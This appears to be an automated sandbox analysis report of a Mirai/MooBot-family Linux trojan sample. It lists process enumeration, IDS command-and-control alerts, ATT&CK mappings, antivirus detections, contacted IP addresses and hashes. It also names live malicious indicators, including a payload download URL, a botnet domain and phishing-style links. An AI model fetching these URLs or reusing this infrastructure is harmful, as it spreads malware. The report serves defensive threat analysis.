Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/133/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/262/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/142/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/263/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/264/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/265/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/145/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/266/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/267/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/268/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/269/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/1806/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/3440/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/270/cmdline	Jump to behavior
Source: /tmp/h7x9LMic6K.elf (PID: 5529)	File opened: /proc/271/cmdline	Jump to behavior

Source: h7x9LMic6K.elf, 5523.1.00007ffd33cd9000.00007ffd33cfa000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/h7x9LMic6K.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/h7x9LMic6K.elf
Source: h7x9LMic6K.elf, 5523.1.000055eaebd64000.000055eaebde9000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: h7x9LMic6K.elf, 5523.1.00007ffd33cd9000.00007ffd33cfa000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: h7x9LMic6K.elf, 5523.1.000055eaebd64000.000055eaebde9000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k

Source: Yara match	File source: h7x9LMic6K.elf, type: SAMPLE
Source: Yara match	File source: 5523.1.00007f1a58001000.00007f1a58024000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: h7x9LMic6K.elf PID: 5523, type: MEMORYSTR

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
h7x9LMic6K.elf	53%	ReversingLabs	Linux.Trojan.Mirai
h7x9LMic6K.elf	100%	Avira	EXP/ELF.Mirai.Gen.Z.A

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	h7x9LMic6K.elf	false		high
http://103.245.236.156/huhu.mpsl;	h7x9LMic6K.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	h7x9LMic6K.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
157.153.115.131	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
41.172.232.54	unknown	South Africa	36937	Neotel-ASZA	false
41.18.210.217	unknown	South Africa	29975	VODACOM-ZA	false
38.243.45.168	unknown	United States	36336	NATIXISUS	false
175.146.218.164	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
60.43.248.138	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
44.223.156.8	unknown	United States	14618	AMAZON-AESUS	false
75.134.246.154	unknown	United States	20115	CHARTER-20115US	false
151.100.33.187	unknown	Italy	137	ASGARRConsortiumGARREU	false
168.216.118.19	unknown	United States	7925	WVNETUS	false
189.33.116.90	unknown	Brazil	28573	CLAROSABR	false
197.73.132.118	unknown	South Africa	16637	MTNNS-ASZA	false
99.81.21.116	unknown	United States	16509	AMAZON-02US	false
143.111.250.248	unknown	United States	11773	UTMDACCUS	false
157.229.129.222	unknown	United States	122	UPMC-AS122US	false
157.86.23.73	unknown	Brazil	21612	FUNDACAOINSTITUTOOSWALDOCRUZBR	false
197.81.28.102	unknown	South Africa	10474	OPTINETZA	false
197.234.167.171	unknown	South Africa	37315	CipherWaveZA	false
105.80.23.194	unknown	Egypt	36992	ETISALAT-MISREG	false
196.238.187.106	unknown	Tunisia	37492	ORANGE-TN	false
101.102.167.162	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
96.124.252.96	unknown	United States	7922	COMCAST-7922US	false
197.59.205.42	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.54.59.239	unknown	South Africa	37168	CELL-CZA	false
205.37.164.128	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
143.145.54.6	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
157.162.207.104	unknown	Germany	22192	SSHENETUS	false
41.213.144.200	unknown	Reunion	37002	ReunicableRE	false
41.175.162.131	unknown	South Africa	30844	LIQUID-ASGB	false
115.100.124.63	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
42.130.140.27	unknown	China	4249	LILLY-ASUS	false
133.129.233.152	unknown	Japan	385	AFCONC-BLOCK1-ASUS	false
197.143.201.44	unknown	Algeria	36891	ICOSNET-ASDZ	false
41.230.97.157	unknown	Tunisia	37705	TOPNETTN	false
213.220.125.194	unknown	Iceland	12969	VODAFONE_ICELANDIS	false
52.243.103.131	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.121.32.131	unknown	United States	27030	USCG-ASUS	false
107.157.203.66	unknown	United States	7065	SONOMAUS	false
121.17.20.64	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
41.89.178.177	unknown	Kenya	36914	KENET-ASKE	false
197.106.106.147	unknown	South Africa	37168	CELL-CZA	false
116.224.129.127	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
41.2.68.173	unknown	South Africa	29975	VODACOM-ZA	false
133.115.144.120	unknown	Japan	2522	PPP-EXPJapanNetworkInformationCenterJP	false
146.126.153.2	unknown	United States	6501	SOUTHERNETUS	false
197.163.51.138	unknown	Egypt	24863	LINKdotNET-ASEG	false
163.183.63.201	unknown	United States	72	SCHLUMBERGER-ASUS	false
202.89.98.146	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
157.251.18.123	unknown	United States	32934	FACEBOOKUS	false
157.213.201.217	unknown	United States	4704	SANNETRakutenMobileIncJP	false
41.22.130.112	unknown	South Africa	29975	VODACOM-ZA	false
8.209.130.144	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
99.250.224.185	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
153.104.180.6	unknown	United States	10448	VILLANOVA-UNIVUS	false
157.227.65.61	unknown	Australia	4704	SANNETRakutenMobileIncJP	false
130.237.37.173	unknown	Sweden	1653	SUNETSUNETSwedishUniversityNetworkEU	false
223.155.33.24	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
209.171.55.66	unknown	Canada	852	ASN852CA	false
73.69.38.28	unknown	United States	7922	COMCAST-7922US	false
61.18.167.211	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
160.124.155.151	unknown	South Africa	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	false
92.126.3.172	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
114.177.69.83	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
157.121.90.95	unknown	United States	2514	INFOSPHERENTTPCCommunicationsIncJP	false
107.207.232.182	unknown	United States	7018	ATT-INTERNET4US	false
97.191.206.137	unknown	United States	6167	CELLCO-PARTUS	false
41.228.223.129	unknown	Tunisia	37693	TUNISIANATN	false
193.127.247.93	unknown	European Union	25006	ABNATTRSVCASGB	false
171.40.30.205	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
40.228.53.84	unknown	United States	4249	LILLY-ASUS	false
197.143.225.53	unknown	Algeria	36891	ICOSNET-ASDZ	false
210.239.68.61	unknown	Japan	4694	IDCFIDCFrontierIncJP	false
95.94.115.83	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
99.147.255.231	unknown	United States	7018	ATT-INTERNET4US	false
150.199.169.200	unknown	United States	2572	MORENETUS	false
223.234.163.226	unknown	India	132045	AIRTEL-AS-ISPBhartiAirtelLankaPvtLimitedLK	false
197.195.100.245	unknown	Egypt	36992	ETISALAT-MISREG	false
205.136.32.251	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
181.24.212.64	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
84.118.95.132	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
93.155.76.160	unknown	Turkey	1136	KPNKPNNationalEU	false
142.147.192.152	unknown	United States	62874	WEB2OBJECTSUS	false
141.167.75.15	unknown	United States	2047	ASN-ROCHE-BASLEGlobalcorporateIPnetworkCH	false
70.30.172.233	unknown	Canada	577	BACOMCA	false
196.118.123.8	unknown	Morocco	36925	ASMediMA	false
112.240.215.154	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
157.163.6.238	unknown	Germany	22192	SSHENETUS	false
138.36.28.144	unknown	Brazil	52807	LIGOTELECOMUNICACOESLTDA-MEBR	false
137.249.226.28	unknown	United States	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
9.142.118.131	unknown	United States	3356	LEVEL3US	false
32.43.84.93	unknown	United States	7018	ATT-INTERNET4US	false
151.50.46.168	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
147.160.36.148	unknown	United States	20224	COLUMBIA-ENERGY-LLCUS	false
216.153.246.209	unknown	United States	7029	WINDSTREAMUS	false
141.218.251.234	unknown	United States	237	MERIT-AS-14US	false
5.194.132.53	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
41.26.184.255	unknown	South Africa	29975	VODACOM-ZA	false
20.14.171.80	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
100.43.215.120	unknown	United States	14265	US-TELEPACIFICUS	false
98.114.89.111	unknown	United States	701	UUNETUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
157.153.115.131	arm7-20231216-1307.elf	Get hash	malicious	Mirai	Browse
157.153.115.131	42R7Cpc9rp.elf	Get hash	malicious	Mirai, Moobot	Browse
157.86.23.73	8g1sPOm9Au.elf	Get hash	malicious	Mirai	Browse
157.86.23.73	zClz2xVZq5.elf	Get hash	malicious	Mirai	Browse
41.172.232.54	5NKkJ6URW0	Get hash	malicious	Mirai	Browse
197.81.28.102	OD5Kzzqf1x.elf	Get hash	malicious	Mirai, Moobot	Browse
	Vjiw1LBwEO.elf	Get hash	malicious	Mirai, Moobot	Browse
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse
	ak.arm7.elf	Get hash	malicious	Mirai	Browse
	lQAo0O7Og2	Get hash	malicious	Mirai	Browse
	12AdFWSvCZ	Get hash	malicious	Gafgyt Mirai	Browse
	1N552URi0w	Get hash	malicious	Mirai	Browse
197.234.167.171	JkZcaHoQZo.elf	Get hash	malicious	Mirai, Moobot	Browse
	n17gPcxl18.elf	Get hash	malicious	Mirai	Browse
	0LSaFYspNo	Get hash	malicious	Unknown	Browse
	notabotnet.x86	Get hash	malicious	Mirai	Browse
	vHLDOsbYKA	Get hash	malicious	Mirai	Browse
197.73.132.118	x86-20230706-1258.elf	Get hash	malicious	Unknown	Browse
	3o0iK86n5C.elf	Get hash	malicious	Mirai, Moobot	Browse
	6szrDWDy0Q.elf	Get hash	malicious	Mirai, Moobot	Browse
	ak.arm7.elf	Get hash	malicious	Mirai	Browse
	xNOPp4zAWu	Get hash	malicious	Mirai	Browse
	Cronarm	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bngoc.skyljne.click	huhu.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.188.223
	huhu.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	7lESNpA2F7.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.188.223
	LUNFk2Hgfu.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.188.223
	ZSlHX40Um2.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.188.223

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NATIXISUS	8holJWXFZe.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	38.242.203.135
	8SR7U72qXD.elf	Get hash	malicious	Unknown	Browse	38.242.199.119
	qxIc8ELWN1.elf	Get hash	malicious	Mirai	Browse	38.243.217.34
	IMG001.exe	Get hash	malicious	Xmrig	Browse	38.243.243.0
	https://networkicecek.com/assign?service=Wlc1NVpuRjFaSGQ0LFltTXVibVYwLGFHeDNhbm89LFltTnVaWFE9	Get hash	malicious	Unknown	Browse	38.242.238.228
	https://networkicecek.com/route?include=ZEhGMVpuRm9ZV1ZwLGJtRm5jbUV1WTI5dCxkblppZFhRPSxabUZpYVdGdWJ5NW5ZV3hwYldKbGNuUnA=	Get hash	malicious	Unknown	Browse	38.242.238.228
	https://aitextnumber-b9b9.sr-171.workers.dev/	Get hash	malicious	Unknown	Browse	38.242.240.108
	https://e0b2number-voices.sr-171.workers.dev/	Get hash	malicious	Unknown	Browse	38.242.240.108
	https://inmailnummamnetext-paper-ab55.sr-171.workers.dev/	Get hash	malicious	Unknown	Browse	38.242.240.108
	https://aitextnumber-b9b9.sr-171.workers.dev/	Get hash	malicious	Unknown	Browse	38.242.240.108
Neotel-ASZA	huhu.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse	41.165.218.89
	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	41.170.14.57
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	41.171.231.160
	jew.x86.elf	Get hash	malicious	Mirai	Browse	41.166.65.204
	ZSlHX40Um2.elf	Get hash	malicious	Mirai, Okiru	Browse	41.169.151.120
	MnR9Zf2F4a.elf	Get hash	malicious	Mirai	Browse	41.170.8.23
	oLehUXsK2P.elf	Get hash	malicious	Mirai	Browse	41.163.45.139
	dTSpuHt89l.elf	Get hash	malicious	Mirai	Browse	41.170.51.63
	huhu.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	41.170.8.14
	huhu.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	41.169.50.106
VODACOM-ZA	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	41.23.86.64
	huhu.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	41.23.86.72
	zEtEDBaBLY.elf	Get hash	malicious	Mirai	Browse	156.129.36.226
	dUhNzDcJw6.elf	Get hash	malicious	Mirai	Browse	41.18.99.103
	jew.x86.elf	Get hash	malicious	Mirai	Browse	41.22.130.129
	7lESNpA2F7.elf	Get hash	malicious	Mirai, Okiru	Browse	41.30.81.245
	5NiE12PYJz.elf	Get hash	malicious	Mirai	Browse	156.50.27.190
	ZSlHX40Um2.elf	Get hash	malicious	Mirai, Okiru	Browse	41.2.112.3
	WiFMm8X57J.elf	Get hash	malicious	Mirai	Browse	156.22.182.68
	MnR9Zf2F4a.elf	Get hash	malicious	Mirai	Browse	41.1.42.118
ELISA-ASHelsinkiFinlandEU	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	157.145.57.113
	YmHB5jMOsq.elf	Get hash	malicious	Gafgyt	Browse	91.159.138.112
	mpsl.elf	Get hash	malicious	Mirai	Browse	141.127.33.138
	mpsl.elf	Get hash	malicious	Mirai	Browse	195.255.194.55
	RShSMrtjcl.elf	Get hash	malicious	Mirai	Browse	91.155.91.221
	MnR9Zf2F4a.elf	Get hash	malicious	Mirai	Browse	157.145.68.45
	huhu.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	157.153.77.198
	huhu.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	157.145.93.22
	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	157.146.162.194
	EaJ376VLX1.elf	Get hash	malicious	Mirai	Browse	91.154.118.46

Process:	/tmp/h7x9LMic6K.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.221928094887362
Encrypted:	false
SSDEEP:	3:TgAdYg3ln:TgAdYA
MD5:	CCBB8A52EC2BA620E7BA7137BACCC5AA
SHA1:	0160F0EBBEF3A8887FCB0C79F5CA4F41924FF8FD
SHA-256:	D39954860EB89C58CC39F29264354452CCE61E736753A0E5C0B7B75084AB92FB
SHA-512:	FE2BC3C1374A73FA5B5E448E2622AA668E136C05777DE389290E1644A1D36A7D1C1E916848E5644F829DE65606C90AB3A617D26DA85D1979EB759733C3876090
Malicious:	false
Reputation:	low
Preview:	/tmp/h7x9LMic6K.elf.

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.77839461764168
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	h7x9LMic6K.elf
File size:	162'272 bytes
MD5:	40d1b02e45c6d4a01380b4d6a80698ae
SHA1:	a395dba6f84e26e537e81bc7046fa5eca2d5d09a
SHA256:	28519cff83b170a84923d8d02f5f5c13e0531431d38e028bb1c53e549f968307
SHA512:	56500b5d5261f29db0e294d07044f9ed887d81d935ebe53e494c81282477ca5200760f76341ceea4d241549ea7944bfb3523e245d07a835b63434a47e9426f6d
